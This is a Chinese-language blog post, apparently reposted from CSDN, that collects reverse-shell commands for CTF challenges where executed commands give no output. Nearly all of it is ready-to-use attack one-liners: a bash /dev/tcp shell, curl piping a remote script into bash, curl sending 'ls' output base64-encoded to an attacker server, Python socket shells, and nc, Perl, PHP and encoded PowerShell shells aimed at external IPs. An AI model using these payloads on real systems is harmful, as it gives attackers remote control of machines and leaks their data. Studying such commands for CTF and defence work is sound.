反弹shell的总结

前言

ctf中经常执行命令没有回显,需要进行反弹shell,而不同的环境反弹shell的姿势也不尽相同,所以就在这里总结一下,自己以后遇到了什么新的姿势都会加进来。

比较常见的姿势

比较常见的基本就是bash反弹,python反弹和curl反弹了。

bash反弹shell

没啥好说的,因为太常见了:

bash -i >& /dev/tcp/118.xxx.xxx.xxx/39009 0>&1

curl反弹shell

其实有点类似bash反弹,一个例子如下:

curl http://118.**.**.***/shell.txt|bash

不过我一般都是这样

curl http://118.**.**.***/`ls`

直接在日志里看回显,不过这样有比较大的问题,比如你执行ls /,因为回显有换行,你只能看到第一行的结果,会显示不全,不过可以这样:

curl http://118.**.**.***/`ls /|base64`

而且因为传输的时候,可能读文件会有一些字符不能传过来,因为也需要base64加密一下再解密来保证数据的完整。不过这样稍微有点麻烦。

python反弹shell

一般是在SSTI的题目中,最后可以执行shell但是没回显。
以下两种都可:

python3 -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("118.***.***.***",39555));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'


python3 -c "import os,socket,subprocess;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(('118.***.***.***',39555));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(['/bin/bash','-i']);"

使用是python3,还是python2或者python,根据环境来决定。

不常见的反弹shell

不常见的意思是我没怎么用过。。事实是下面这些反弹shell的方式我全都没用过,不过就当记录了,万一以后真能用到呢。

nc反弹shell

nc -e /bin/sh ip port

perl反弹shell

perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"ip:port");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'
perl -MIO -e '$p=fork;exit,if($p);$c=new IO::Socket::INET(PeerAddr,"174.0.224.117:8080");STDIN->fdopen($c,r);$~->fdopen($c,w);system$_ while<>;'

php反弹shell

php -r '$sock=fsockopen("10.0.0.1",1234);exec("/bin/sh -i <&3 >&3 2>&3");'

powershell反弹shell

[Convert]::ToBase64String([Text.Encoding]::Unicode.GetBytes('$c=New-Object Net.Sockets.TCPClient("174.1.52.162",6666);$s=$c.GetStream();[byte[]]$bytes=0..65535|%{0};while(($i=$s.Read($bytes, 0, $bytes.Length)) -ne 0){;$d=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);$sb=(iex $d 2>&1 | Out-String );$sb2=$sb+''PS ''+(pwd).Path+''> '';$sb=([Text.Encoding]::Default).GetBytes($sb2);$s.Write($sb,0,$sb.Length);$s.Flush()};$c.Close()'))

powershell -nop -enc {
    
    reverse shell command}

pty反弹shell

python -c 'import pty; pty.spawn("/bin/bash")'

参考链接:
反弹shell

扫描二维码关注公众号,回复: 12571787 查看本文章

猜你喜欢

转载自blog.csdn.net/rfrder/article/details/112308827